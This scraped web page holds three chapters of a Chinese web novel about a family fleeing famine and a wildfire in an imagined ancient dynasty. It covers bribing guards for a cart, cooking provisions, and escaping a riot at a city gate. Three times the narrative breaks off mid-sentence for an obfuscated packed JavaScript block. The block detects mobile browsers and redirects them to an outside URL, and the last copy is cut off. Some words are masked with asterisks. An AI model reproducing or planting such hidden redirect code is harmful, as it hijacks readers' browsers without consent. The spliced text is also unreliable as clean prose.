“去去去!谁要这么大的孩子!”衙役有些不耐,眼前这个人一直在这里纠缠,叫后头的人察觉到不对劲掉头跑了可不好。 得尽快解决。 他驱赶完,绕着马车走了一圈,伸出脚踢踢,这马车看上去平平无奇,用料也只是普通的木料。 要说唯一跟其他马车不一样的,是车轮子要比其他车的厚一些。 衙役用手捏捏,轮子上缠着一圈破烂布料,里面也没什么异状。 “五十两,你把这马车带走。” 他们扣押马车和偷偷转卖马车都是有固定价格的。 上头收三十两或是一辆马车,他们中间加一层,一倒手二十两到手。 没人会跟银子过不去。 但不是所有人都能掏得出五十两银子的,眼前这一家人也不像是能掏得出这么多银子的样子。 这个衙役根本没抱什么希望。 不曾想,对面的汉子听到之后,肉痛了好一阵子,呲牙咧嘴地从身上左摸摸又掏掏,又钻回车里,硬是凑出来三十两银子。 三十两银子离五十两还有一些差距,那汉子勒令他的婆娘把藏起来的一根金簪子拿出来抵钱,最后连两个孩子身上藏着的十几文铜钱也拿出来。 左算右算,差不多四十九两零八百九十七文钱。 第55章 山火欲来 剩下十几文钱,这家人把身上摸了个遍,最后从车厢里拿出来了一个只剩了个底的兜子。 他们把兜子塞过来说:“大人,这里头还有一点粮食,应该能抵十几文钱,嘿嘿……” 那兜子又破又脏,让人忍不住怀疑里面是不是还装过其他东西。 衙役见他们实在是拿不出钱来,睁一只眼闭一只眼,摆摆手不要他们的兜子,只把这一堆碎银子铜板给收起来,手里握着颇有分量的金簪,算他们过去。 走的时候,宁爸还依依不舍地回头看了好意几眼宁妈给出的那个金簪。 那可是他在古代给宁妈买的第一个金饰! 就这样白白送出去了。 宁爸暗道可惜,想着等以后有机会,再给兰香买一个更大、更闪的金簪子。 顺利入城后,走在前头的王李村村民看到他家连马带骡子带架子车是一起出来的,忙围过来问怎么保下来马车的。 他们家懵懵懂懂的,马车被牵走好一会不给才反应过来,等反应过来时已为时过晚。 宁爸也没隐瞒,直言道:“那衙役说了,要五十两银子才能赎过来。” ——五十两! 来打听的村民倒吸一口凉气。 谁家能一口气掏出五十两银子!也就是赵老二家,前几日又是打杀贼人又是帮着抓野猪的,又分银子又分肉…… 怪不得赵老二能拿得起五十两银子! 眼红了一阵之后,村里人能掏得起银子的,去打听怎么才能把自家马车赎回来。 掏不起银子的,在一边暗自惋惜。 还有一种,像是老赵家,马车被收走,全部家当也被收走,空着两只手站在一边说着酸话。 “五十两!五十两都够再置办一辆马车还有剩余了!”钱婆子啐一口唾沫,眼红地看着老二家膘肥体壮的马,还有那头皮**油光滑亮的骡子。 真叫人眼红! 要是老二还没跟自家闹掰该多好? 等到时候上路,求一求他,卖卖惨,应该不会有人舍得看自家老娘受累受苦吧? 钱婆子心里盘算着这个可行性,越想心里越是火热。 不等她们火热,王李村的人齐了,除了赵宁宁家,里正和村长家也花钱保下了马车。 尚家和其他几家手里有银子的也是。 进门都能做出没收马车和收银子的事了,保不齐黄石县里的马车价更高。 别到时候五十两都换不回一辆马车和一匹使唤顺手的牲畜。 人聚齐后,里正带人一边打听一边往县城里走。 黄石县跟合庆县比起来要更乱一些。 这里街道上满是逃荒的人。 打听了几家客栈,全是满的。 有一家客栈的小二,见他一个老头风尘仆仆地过来打听住处,劝他不要费事,这几日黄石县来了一大批流民,能住的地方基本都被定下了。 客栈满了,外头租房子只能一个月起租,租小了,他们住不下,租大了,一个月太久,他们又住不到这么久。 但也有想要长租的。 毕竟赶路这么久了,听说黄石县这边因为都是石头山,山底下的暗河没被太阳晒干,因此黄石县里还能买到井水。 有水就有活下的的希望。 有两户人家决定在黄石县落脚。 里正拗不过他们,陪着他们去县衙过户籍文书。 大周朝一向如此,若想在其他地方落脚,必须有原先村子开的证明,或是有村里的里正陪着一起。 去办文书时还被一人讹了二两银子,等租好院子,那两家已是弹尽粮绝。 赵宁宁家也在考虑租房子。 他们不是想要留在黄石县,而是想趁这两天在这里休息的时候多做点饭存起来。 逃荒出发之前做的饭一路上已经被吃了个七七八八,若再不做一些放起来,接下来的路上只能现做现吃。 这里街道上满是流民,宁爸宁妈都不放心只有一个大人带着俩孩子在街上等,只能带着马车一起去找中人。 中人一听他们的要求:要大,还要离别人远。 发愁的紧。 眼下黄石县到处都是人,上哪找没人的地方去?! 宁爸只能退而求其次,只要求离人远一些。 最后在三家里挑选了一家离河边近的房子。 虽说离河边近,河道早就干了,只剩光秃秃的河岸和底下晒裂的淤泥。 一面墙挨着河道,左右没什么邻居,最近的邻居也要走个二十来米才。 房子前头是一条宽路。 周边也没什么植被,一眼看过去,旁边藏一只苍蝇都能看得见。 唯一美中不足的是,这个房子只有两间房。 宁爸宁妈决定就住在这儿了。 知道旁边的人家也在出租房子,宁妈直接替周家定下。 出来的时候何氏也想租一间房子好好休整,既然她托付给宁妈,宁妈就替她留意着。 一口气定下两间房,宁妈先进院子里。 这里两间房就只有两间房,一间是当厨房和杂物房用的,竹排成三块地方,最里头是灶间,中间算是堂屋,左边空着,看大小之前应该是放床的。 另一间房也是隔开成了三块地方,里面连个板凳都没有。 好在没有家具,不然还要费事打扫。 宁妈出发之前,把家里的床和桌椅都带着呢! 对着空地一挥手,一张床出现,上面的被子都还叠放得整整齐齐着。 放好这张,宁妈走到一边把赵启的床放出来。 现在特殊时期,他们一家睡在一个房间最安全,这间房子刚好,中间隔着竹子做的隔离,看不见彼此在干什么,但能听见对方说的话。 要是有什么情况,稍微喊一声便能听得见。 安顿好后,另一边,宁爸也把何氏和周剑给带到相邻那间房里去了。 把钥匙给周剑让他们自己开门,宁爸乐颠颠地回“家”。 宁妈把浴桶给摆在厨房隔开的空间里,他们三个进不了宁宁空间的,轮流过去用自己的浴桶痛痛快快地洗了个澡。 赵宁宁在空间洗好澡出来的时候,宁爸已经把这里灶台给擦干净正往上面放自家的大铁锅。 两口铁锅坐在灶上,宁爸过来征询大家伙的意见。 “想吃什么?点菜的时间到!” “炖猪蹄!我要吃炖猪蹄!”赵宁宁举手。 宁爸炖的猪蹄软烂入味,吃起来一点都不腻味,赵宁宁几个都喜欢吃。 “行,炖!” “咱们要不要多预制一些主食?”赵启问:“家里冰箱不是拿出来很多手抓饼和包子馒头吗?提前准备一下,路上方便吃。” “对哦,还得做点汤,这样配着吃。” 宁爸想了几样他自己和宁妈的拿手靓汤。 最后敲定一个锅做主食,一个锅做菜。 赵宁宁负责烧火,赵启负责打下手,宁爸做大菜,宁妈负责把主食给准备好。 凑空的时候,几个人还要再准备一些凉菜凉面。 这个鬼天气,什么都可以没有,但不能没有凉菜凉面。 灶间极热,为了给这里降温,宁妈把空间里能拿出来的冰全给拿出来,冻肉也先拿出来在一边解冻顺便给屋里送送凉气。 第一道菜先做的就是赵宁宁点名要吃的炖猪蹄。 说是炖猪蹄,其实跟红烧猪蹄差不多,没有提前泡发黄豆,宁爸问宁妈要了一盆年糕,切开和猪蹄一起炖。 炖出来的年糕块滑滑溜溜,和着软糯的猪蹄一起吃,一时间分不清哪个是猪蹄、哪个是年糕。 宁妈夸了好吃,宁爸大受鼓舞,把排骨掏出来全剁开,又烧出一道红烧年糕排骨。 每次都是一大锅起做。 趁炖菜的空当,宁爸把之前用来装菜的十个大水缸给洗出来,晾干后装上新炒出来的菜。 这两道做完,宁爸开始做卤肉。 他先是抓一把**糖丢在热油里炒糖色,接着把香料丢进去一起翻炒两下,倒入滚水烧热后熟点酱油丢进去。 另一个提前准备好的大料包装在纱袋里,丢入锅中一起炖煮。 最后下入五六只鸡先卤着。 鸡卤的差不多,把它捞出来之后,宁爸才往锅里下五花肉、大骨头、小排骨。 难卤的东西卤好后,他又依次下入鸡爪、小排骨、鸡蛋、豆皮这种好熟一点的。 临出锅前,他还煮了一把海带。 卤猪蹄和红烧猪蹄完全是两种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229780|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风味。 赵宁宁坐在灶洞前头,但凡有一样菜做好,立马就会收到投喂,吃得她肚子圆圆,撑得面对宁爸递来的凉拌鸡肉丝连连说不。 一边是硬菜,一边是是宁妈准备的主食。 她没急着蒸馒头,而是先把锅烧热,煎了一堆香肠和鸡排鸡柳和丸子。 冰柜里之前囤的有做汉堡的牛肉饼,宁妈也给煎出来一些。 最后她还炒了两样小菜。 做好这些,她把锅一擦,倒上薄薄一层油,开始挨个做手抓饼。 赵启在一边给她打下手。 一张冷冻的手抓饼被拆开丢进锅里,趁着饼没反应过来往上面打一个鸡蛋。 高温下,手抓饼的一面很快熟透,用铲子翻一下面再稍微煎一下,一整个手抓饼出锅。 接下来是赵启的工序。 拿到煎好的手抓饼,赵启往里头放生菜和香肠,再加上酱料一卷,一个香肠手抓饼便做好了。 除了香肠的,还有鸡排的、鸡柳的、丸子的、牛肉饼的……红烧肉做出来之后,宁爸还让他做了几个红烧肉手抓饼。 手抓饼卷万物,赵启这边做好五六个的时候,宁妈腾出手趁热给收到空间里。 预制的菜只有这个麻烦一些,其他的包子蒸饺全用蒸的,最后有人看火就成。 一连做了一下午的菜,出去的时候看到天还亮着,宁爸跳河的心都有了。 后头的河道是干的,没有河给他跳,看了看外头干热的天,一股热风吹过来,烫得人皮都要熟了。 回头看看摆满冰盆的房间,宁爸回去,继续做菜。 一口气做到天黑,几人累得满头是汗,身上衣服早已汗透,中间赵宁宁和赵启还轮流帮忙做了点。 冰盆里的冰块化得差不多,宁妈干脆拿出大浴桶出来,让几人再去洗一遍澡,清清爽爽地睡觉。 赵宁宁临睡之前,把白天在冰柜里冻的冰拿出来摆在屋里。 一夜过去,第二天,又是新一轮的做菜做饭。 今天宁爸宁妈两个全做小炒,两人商量好分工,赵启帮忙备菜,宁爸宁妈轮流炒菜。 素菜轮流爆炒个遍。 宁妈凑空还做了几样汤,时间来不及,她挑简单的做。 赵宁宁爱喝的酸辣汤她做了两大锅,一家子都爱喝的酒酿小圆子她做了四锅。 两天两夜过去,宁妈的空间里的食材消耗一半,取而代之的是一堆冒着热气的、色香味俱全的菜。 洗完澡,赵宁宁把冰箱里的冰激凌掏出来让家人吃。 宁爸上次吃过冰激凌后拉肚子有心理阴影。 但看到冒着凉气的冰激凌又忍不住嘴馋,一番心理斗争之后,他还是把手伸向冰激凌。 用勺子挖一坨塞在嘴里,冰激凌化作一股凉凉的水在嘴里蔓延开,宁爸张开嘴,嘴里直冒白烟。 赵启和赵宁宁看到他这样,忍不住笑。 他们在黄石县停留了两天。 第三天下午五点的时候,宁爸和宁妈才抽出空来,让厨房蒸着馒头,他们俩出去打听消息。 王李村的人在城里落脚之后,都给里正留了口信。 大部分都是没找到住处,找了块空地聚在一处。 少数几家咬咬牙去租了房子,想着到时候就算走,也可以转租出去。 去里正落脚的地方晃了一圈,宁爸打听出来一个不太妙的消息。 山火还在烧,只是碰到黄石县附近的石头山烧得慢了些。 按照这个势头,要不了两天就会烧到黄石县外头。 到时候还得想法子,要是能留在黄石县,那就留着。要是情况不对,得赶紧跑。 里正知道赵老二一家和他丈母娘一家都住在黄石县南头河边上,嘱咐他们两家警醒一些,要是看着天不对劲就赶快到城里来。 上午刚见过里正,下午宁爸宁妈正在黄石县倒卖粮食补货,天上忽然开始飘黑灰。 是山火烧着带来的浮灰! “竟然飘到县城里来了。”宁妈仰头看着天,喃喃道:“今天收拾收拾,估计最迟明天就得走了。” “回去收拾东西吧。”宁爸拉着她,两人匆匆赶回家。 在家的赵宁宁和赵启也看到了天上的不对劲。 第56章 留不下来 他俩刚走出厨房的门,院外响起宁爸的喊门声。 赵启过去把门打开,两个大人进来。 从街上走到家,他们身上已落了一层薄薄的灰,拍拍肩膀,宁爸说:“得收拾东西走了。” “哎……”赵宁宁叹了口气,回厨房收拾调料。 宁爸去院子里修整马车,赵启去帮宁妈收拾厨具和今天蒸好的馒头。 收拾好东西后,宁妈带着一篮子馒头去隔壁跟何氏通通气。 让她们也早做准备,随时准备出发。 回来之后一家四口人去洗了澡,躺在床上休息。 赵宁宁自告奋勇要守夜,她守夜不用在屋里等,而是去了院子里,找一处隐蔽的角落往空间里一躲。 接着空间能看到外头还能听到外头动静的便利,赵宁宁直接躺在沙发上“守夜”。 一夜过去,除了天边越来越多的灰烬飘过来之外,街上看上去平平静静的。 宁爸戴好口罩和布巾出去,找里正了一趟。 回来说:里正他们准备明天早上出发。 王李村的人互相通知着,另一座屋子里,何氏和周剑早早把东西都收拾好,听说第二天要走,何氏还有些不舍地租这两间房子的银子。 舍不得也没法子,得有命住。 这两天她把赵宁宁家之前送来的粮食给做成了路上能直接拿出来吃的干粮,够吃好一阵子。 刚好明天又要开始上路。 之前做的肉干,她给烘得透透的,上面抹了盐,吃起来咸香咸香的,她拿给儿子一根。 周剑吃得很珍惜,小口小口咬,一根吃了两天。 把吃的和水都放在车上,何氏双手来回摩挲着,担忧地看向天空。 “还好跟着你姐他们,他们这一路帮咱家可太多了……”何氏说:“要不是她,咱娘儿俩跟个睁眼瞎也没甚区别。” 之前在村里日复一日的种田,虽然寡居拉扯两个孩子有些不容易,但咬咬牙也就过来了。 如今逃荒在路上,可不是咬牙就能过得去的。 “等上路之后,有空你把肉干拿给你姐,再问问你上次没学会那几招。”何氏叮嘱儿子。 周剑点头,他姐在逃荒之前就拉着他去打拳嘞,后来猝不及防上路之后,又累又饿他懈怠不少,这几次轮番遇到贼人,何氏重视起来,让周剑勤练着些。 她自己也跟周剑学了两招。 两人没去院子,现在天上到处都在飘灰,他们在屋里打了一套拳,这才去睡下。 睡到半夜,何氏忽然听到大门处有动静。 “小剑!小剑!” 外头是喊门的声音,何氏凝神一听,这声音是她女儿的! 忙不迭起来开门,何氏走到院子才发现,今天晚上天空有些亮——好像那天山火刚起来的时候。 她把门打开,门外的周兰香急急地喊了一声:“走!快走!” “山火要烧过来了!” “怎么会……”何氏一边往屋里跑,一边喊周剑。 周剑在何氏起来之后听见动静也起来了,他穿好衣服出来,两人合力把车往牛身上架。 套好之后把被褥往车里一塞,连院门都来不及关,驾着牛车跟在赵宁宁家后头跑。 去找过两次里正,宁爸熟门熟路地顺着城里的小路走到里正租住的房子这边,还未靠近,便能看到好多人都在这里。 里正家附近已**好些王李村的人。 不止他们在这处**,来的路上,其他警醒的人也发觉到不对,半夜就起来准备走。 人一多,前头闹哄哄的。 “人齐了吗?” “里正!咱啥时候走!” “还差谁!怎么还不来!” “老赵家一家子好像还没来……” “还差几家啊!要不留个信先走吧!也不能一直等啊!” 眼看着街道上越来越乱,里正心里也十分着急。 他还派自家两个儿子出去说了一遍让大家伙警醒点,半夜别睡太死,万一有什么不对劲赶紧起来往这处集合。 又等两刻钟,见人来得七七八八,里正终于点头。 王李村的人忙不迭按着他说的方向,拉车的拉车,驾车的驾车。 赵宁宁往队伍里看了一圈,天光是红色的,她只能看清楚轮廓,离得近才能看清是谁。 但,好像没在队伍里看到老赵家,他们去哪了? 就这样脱离队伍了? 赵宁宁摇摇头,把这一丝好奇从脑子里赶出去,专心帮宁爸看路。 另一头,老赵家一群人往黄石县南门跑。 “娘、你!你说的是真的吗!” 赵老三跑得呼哧呼哧的,要不是被他亲娘用大萝卜吊在前头,他才不乐意这时候往县城南门跑。 没看天色不对劲,县城里的人都往北边跑吗? “少废话,跟我走!” 钱婆子一双三角小眼冒着精光,他们一家子抄小路逆着人群跑到黄石县南门——也就是他们马车被收走的地方。 这会这里乱糟糟的,似乎城外有逃荒来的流民在**,所有的衙役都去管城门了。 帐篷四周,栅栏四周只有一两个人在守着。 “走!进去挑一辆好的!” 钱婆子胆大得不行,她趁衙役转身巡逻的时候,带着两个儿子直接溜进去。 躲着人,他们一个一个顺着帐篷钻进去。 帐篷里没有点灯,他们看不清,钱婆子凭借着手感摸到一辆用料扎实的车,再摸摸这车上还有车厢! 她脸上一喜,拉着两个儿子的手,“就它了!” 赵老大和赵老三搓搓手,一人一边拉着车。 钱婆子守在帐篷门口,等衙役巡逻走过去的那一瞬,她撒起腿就跑。 两个儿子跟在她身后也是跑。 怕被抓到,他们仨连回头都不敢,直到走到栅栏门口,守门的衙役看到不对,好端端怎么有三个人拉着车往外头跑? 他忙拔刀大喊:“你们在干什么!” “走开走开!” 钱婆子举起手上的柴刀,“让我们过去!” 车架子速度不停,若是不躲开会被撞上去! 衙役还是要命的,他一言难尽地看了一眼被抢出来的车,默默挪了半个身位。 赵老大和赵老三都没想到,竟然这么顺利就把车拿回来了。 还拿了一辆带车厢的好车! 把车一口气拉到街口,两人才停下,钱婆子志得意满地说:“走!上车!” 老赵家其他人正等在那里,看到拉过来的车,其他人顿时一惊。 “这!这车……” 天光昏红,赵老头还以为是自己眼花,揉揉眼,赵老头再看:这分明是一辆大红色的,娶亲用的喜车! “娘……”孙氏张大嘴巴,“这车……” 其他人没说话,但眼神也透露出不可思议。 钱婆子疑惑,“这车怎么了?我可是挑了料子最好的一辆,拉起来沉甸甸的,说明是一辆好车!” 赵老大顺着自家媳妇惊疑的目光回头看,这一看,他也呆在原地。 赵老三看自家大哥这副表情,跟着回头看。 一看,他也惊住。 家里人不急着拉车逃荒,反倒在这里打起哑谜来,钱婆子气不打一处来,“车怎么了!这车不是挺好的……” 说着,她自己回头看,也惊呆了。 昏暗的天色,一辆大红色的喜车停在他们身后。 也不知道这群衙役打哪里要来的,喜车上还挂着大红花,就算是光线不好,也一眼能看到这个醒目到极点的车。 “这、这!”钱婆子指着车,“怎么是喜车!” 赵老三皱眉,把目光收回来,说:“喜车就喜车吧,咱们得快点走了!” “不行!”钱婆子说:“喜车太显眼了!” 逃荒都是越低调越好,谁家用喜车这么明显的颜色的?! “那你说怎么办?现在回去换也来不及了!” 赵老三把着车往前走,“那群衙役没来追咱们已是万幸了!” 能从官家手里抢到东西,搁在平时赵家人做梦都不敢梦。 赵文远把曹柔安扶上车,“是啊!奶奶,咱们快走吧,别一会追不上里正他们。” “对了,咱们的马呢?”赵文远问:“怎么没看见?” “哪来的马!”钱婆子嫌弃地看了一眼喜车,心里纠结半天,“我进去找了,帐篷里没有马,只有马车!” 这马车上连个柴火都没有,东西都不知道被收到哪里去了。 “走吧走吧,别在耽搁下去了。”赵老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229781|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头有些不高兴,虽说喜车带着车厢,可这颜色太丑了。 更重要的是没有马,他们一家子又要人力拉车上路了。 不管怎么说,他们能抢回来一个车架子,已是不错。 老赵家的人紧赶慢赶,总算在出城们前遇见了王李村的人。 前头人头攒动着,都想尽早出城,北门口乱哄哄一片,连衙役都看不见。 也不知道是没衙役在,还是被逃荒的人给退开了。 自家骡子车走一步停一步,赵宁宁干脆站在车头上往前头后头看,这一看可不得了。 “嚯!”赵宁宁说:“我去,好显眼的一辆马车!” 顺着她的视线,坐在车头的宁爸看过去,不禁笑出声来:“这……这真是……笑**!” 宁妈和赵启被他俩这动静弄得好奇的不行是,到车头处往后看,一辆红得有些扎眼的喜车,正跟在他们队伍后头。 用喜车赶路倒不打紧,灾荒年嘛,能逃命就行,谁让那车上坐着的正是赵宁宁一家穿来古代的死对头——老赵家。 大红红花花马车上的丝绸红花被钱婆子拽下来塞车厢里了,但车身依旧很是显眼。 刚才跑在路上还好,这会子一停下来,钱婆子只觉有无数道目光往这边看,她坐在车头上如芒刺在背,别扭了一会,她躲进车厢里去了。 好赖有个轿帘能挡一挡。 赵宁宁一家乐了一会,赵宁宁想到:“娘,是不是他们进城的时候没钱赎回马车,最后不知道怎么想法子弄来的这个红车?” “八成是……”宁妈不是爱蛐蛐别人的性格,但这次实在是……有些滑稽。 “好了好了,咱们专心赶路。”宁妈回到车厢,顺带把赵宁宁也拉进来。 赵宁宁坐在她旁边,问:“你要不要先睡会,待会还要赶路。” 赶路要紧,宁妈没有推辞,道:“那你们帮忙看着点,等出城了你也来睡。” 赵宁宁点头,把车厢门给她关上。 赵启坐在车头一边帮忙看马,因着城门堵起来,骡子和马走走停停地有些暴躁。 他得时不时跳下去给马和骡子顺顺**。 就这么慢慢走,眼看就要到城门下头的时候,后头突然喧哗起来。 赵宁宁立马跳起来站在车头往后看。 天色昏红,只能看到远处影影绰绰的人影和听到喊打喊杀的声音。 ——那边是怎么回事?! 赵宁宁提起警惕,“爹,不对劲。” 宁爸二话不说,立马喊车下给马儿顺**的儿子:“小启,快上车。” 赵启把梳子收起来,扒着车头往车上爬,宁爸伸手把他拉上车。 喧哗声越来越大。 前头也开始躁动起来。 双面夹击着,宁爸皱紧眉头。 “要不要先离这边远一些?”赵宁宁想到了**故。 “来不及了,这边的路已经被堵**。”宁爸摇头,“只能往前闯一闯,看看能不能出去。” 他们已经从出城的队伍后头排到了城门下,眼看着就能出城了,只能两害取其轻,拼一把从前头走。 “你俩坐好。”宁爸叮嘱好,握着手里的缰绳,警惕地观察着四周。 “我去跟姥姥他们说一声。”赵宁宁说完,跳下车,跑到车后头跟周剑他们讲了一下。 听到可能会有危险,何氏神色严肃,让宁宁赶快回去。 等宁宁走后,何氏悬着心用打探的目光往四周看。 各处都是攒动的人头,声音从四面八方传来,似乎真的有……喊打喊杀的声音。 那声音越来越近,越来越大,竟是就在身后了! 何氏有种迫切感,她迫切想要离开这里! “杀!杀啊!反正也出不去!杀了他们,死也做个饱死鬼!” 一声粗狂的笑声过后,这个声音又在喊: “九日焚天,大周将亡! 旧朝覆灭,新王登堂!” 赵宁宁听了一耳朵,什么什么覆灭,什么什么新王? ——有人想趁乱自立为王?! 宁爸听到这几句口号,脸色顿时一黑,他抓着缰绳四处看,想要从人山人海之中找到一个能出去的路。 只可惜,四周的路上挤满了人,别说出去,连掉头都困难! 第57章 八个太阳! 喊杀的声音越来越近,宁妈从车厢中出来,跟宁爸对视一眼。 “我去看看怎么回事!”宁爸丢下缰绳,嘱咐宁妈道:“你看好孩子。” 宁妈借着车厢的遮掩,拿出一把大刀丢给宁爸,“你小心点。” 接过刀,宁爸拿着便融入到人群中。 他倒要看看,前头是怎么回事! 人挤人,他艰难地往前挪动,一路上收获了一堆抱怨声,好不容易挤到前头,竟然是两户人家在前头打群架,把出城的城门给堵住了! 周围一圈人都在劝,那两家人充耳不闻,两边男人相互缠斗着,女人在一边互相打着,打得不可开交! 随便找了个看热闹的人打听,宁爸这才知道,这两家是黄石县的富户。 两家在生意上有摩擦,平日里就会你争第一我也要争第一,谁曾想,今天出个城门也要争这个! 他们车车马马外加一堆东西,因为打架全堵在门口,后头的人劝不动,也没法子过去。 前头堵着后头又有人打上来。 宁爸都气笑了,合着他们在后头堵着担心的要命,他们在前头因为谁先出城在这打起来了? 他看到城门下头,两家的马都在那喷着粗气,宁爸想了想,从围观的一圈人旁边绕过去,贴着城墙绕道到这两家的马车旁边。 抬起刀,宁爸一下子攮在马屁股上,马儿吃痛,下意识地往前跑。 一只还不够,宁爸迅速跳下车,去扎另一只马的屁股。 一辆接着一辆的马车往城门外跑,这么大动静,打架的两家人终于注意到自家马车跑了。 打架的不打了,赶紧收手去追马车。 要面子归要面子,马车上都是他们的家当,家当可不能丢啊! 堵在最前头的人一走,后头的马车跟泄洪一般溜向城外。 宁爸被人流裹挟着走出了城门,刚一出去,他在城门边上站定,焦急地往城门里看。 刚才出来之前后头**的人快追上自家车队,也不知道情况怎么样…… 这么多车都长得差不多,实在是难辨认的紧。 这样想着,宁爸看到一辆大红色的马车从城门里流星一般钻出来。 宁爸:“……” 好了,这下知道王李村的队伍在哪了。 果不其然,他往前一看,轻松便在车队里找到自家马车,小跑着融入车流之中,靠近自家马车,宁爸喊:“兰香!” 周兰香看赵兴茂全须全尾地回来,心里吊起的大石头放下,一手抓着缰绳,另一只手朝他伸去:“来!” 赵兴茂抓着自家媳妇的手,一个借力,回到马车上。 宁妈专心赶路,宁爸在一边把刚才城门口打架的事讲了。 “真是不知道天高地厚,现在是什么时候?因为这点事打架耽误出城,命都不要了!”宁妈摇头,话锋一转,跟宁爸说:“后头是流民,流民追上来了。” “流民?” “就是合庆县那批。”赵宁宁插话道:“刚才他们要扒咱家车门上车,我娘一刀一个把他们给放倒了。” “刚好前头能走动起来,我哥驾车,我盯着四周,我娘打怪。” 赵宁宁现代的词和古代的称呼混用,跟宁爸讲了刚才的事。 宁爸听完只觉得脑壳痛,“流民……流民可不是普通来逃荒队伍那么简单。” 他们可比普通**的人狠辣多了……接下来路上可得小心。 车往城外跑出一段路后,王李村的人才慢慢**起来。 刚才一跑,队伍里有几家人跑散,里正数了数,只有二十户在。 短短几天,王李村从三十九户人家,锐减到只有二十户人。 人数也从两百五十多人,到现在只剩下一百来号人。 走散的人,也不能一直等他们,后头还有流民和山火。 里正叹气,催着队伍快些往前走。 上午十点。 宁爸和赵启吃过早饭,和宁妈她俩交班回车厢休息。 眼看里正没有停下的意思,赵宁宁把手里的包裹盘成个帽子戴在头上。 **裹在包裹里,顺着头顶往四肢百骸传递凉意。 这样也驱散不了多少外头的热,赵宁宁两颊红坨坨地,宁妈看了心疼不已。 “要不你先回去,白天也没什么事,你不用在这陪**熬。” “不,我陪你嘛。”赵宁宁摇摇头,“要是不晒黑点,我跟其他人不太一样。” 就是有车顶棚遮挡,宁爸宁妈赶车这些天来也晒黑热黑了,赵启更不必说,他晒一下就要黑好久,只有赵宁宁,比三人要稍微白一些。 除了尚家那两母子以外,他们一家在队伍里都是排得上号的“白”。 马车继续前行,走到中午十一点,实在是晒得人要裂开一般难受,里正这才让队伍停下来休息。 二十户人家里,还有拖着喜车跑的老赵家。 他们本来是在队伍后面的,出城的时候赵老头紧盯着里正家跟着跑,加上他们空有一辆车,车上没什么东西拉起来不重,这才跟上了队伍。 只是……跟上队伍倒是跟上,车里空荡荡的,什么都没有! 他们这两日在黄石县用身上藏起来的碎银子买了一个小炉子,还有一个小陶锅。 又用仅剩的银子换了一袋粮食。 这是他们全家是一口人的口粮。 因为没有水桶,他们连水都没有。 现在队伍里很多人家跟老赵家差不多。他们都是进城的时候猝不及防之下马车被衙役收走。 连带着车上的所有家当也被收走。 现在他们手里只有用藏起来的银子买到的一点点粮食和水,其他啥都不剩! “二丫,你去捡一些柴火回来。”钱婆子坐在喜车上支使人。 “六丫……你,你去跟你二姐一起捡。” 六丫赵思夏年纪小,赵老三自是不同意她单独跟二丫一起去干活的,直接起来阻拦道:“娘!六丫就算了吧,她还小着呢。” ——什么叫六丫还小着,难道我就很大吗! ——之前在家明明都不用干活的! 赵慧兰心底暗恨,又不敢不听奶奶的话。 昨天她忤逆奶奶,不去找柴火,当天直接没做她的饭。 一天就只有一顿稀溜能当镜子照的粥,就这奶奶还不让她喝! 一天一夜没吃东西,赵慧兰肚子饿得几乎绞成了一团,又痛又在发酸。 摸摸自己的肚子,赵慧兰去附近的林子里找。 比黄石县好的是,这里是枯树林,地上全是晒干的枝条,随便捡都能烧火。 其他人家也在捡柴烧。 捡着捡着,赵慧兰看到有人在剥一棵树的树皮。 她微微一想,这树皮肯定有用处!不然村里人不会费这劲去剥。 等那人剥完离开,赵慧兰悄悄在他后头也剥了一堆树皮回去。 看见二丫抱着一堆树皮回来,钱婆子一开始没反应过来怎么回事,等认出这树皮之后,钱婆子喜笑颜开一击掌道:“哎呦!怎么把它忘了呢!这可是能吃的树皮!” “慧兰,你在哪找到的?还有没有?” 听到奶奶这样喊自己,赵慧兰心里一哂:这会知道喊她的名字了。 “在刚才的树林里。”赵慧兰说:“我看到有人在剥,就跟着剥了一些,不过我不知道还有没有这种树。” “走走走!”钱婆子笑着去拉她,“你带我们过去,咱多弄点!” 这树叫米树,岭南地带少有,往北走才有,米树开花的时候跟稻米一样,密密又白白的,像稻子一样,所以叫米树。 它的树皮是银白色的,剥下来煮熟可以吃!树皮里有一层面面的东西,嚼着吃吃久了甚至能品出来米味! 钱婆子只在嫁人之前吃过一次,后头就再也没吃过,因此逃荒这一路上,她将这事儿给忘了! 好在现在进入岭北地界,这米树爱在北方生长,以后会越走遇道的越多的! 钱婆子拉着赵慧兰往林子里走,她能想到的事,队伍里自是有人能想到。 就算想不到,看别人家剥树皮吃,也会跟着学。 不一会的功夫,停靠在林子边上休息的各家人纷纷去树林里扒树皮。 钱婆子带赵慧兰他们去得早,扒了一大堆回来,这是吃食,赵老三几个也不嫌累得慌,来回地跑,跑累了就站在原地扒树皮。 等队伍歇够时辰准备上路的时候,他们把车厢都给装满了! 只是没时间煮,也没水可以煮,他们只能先拉着这车树皮跟着队伍继续往前走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 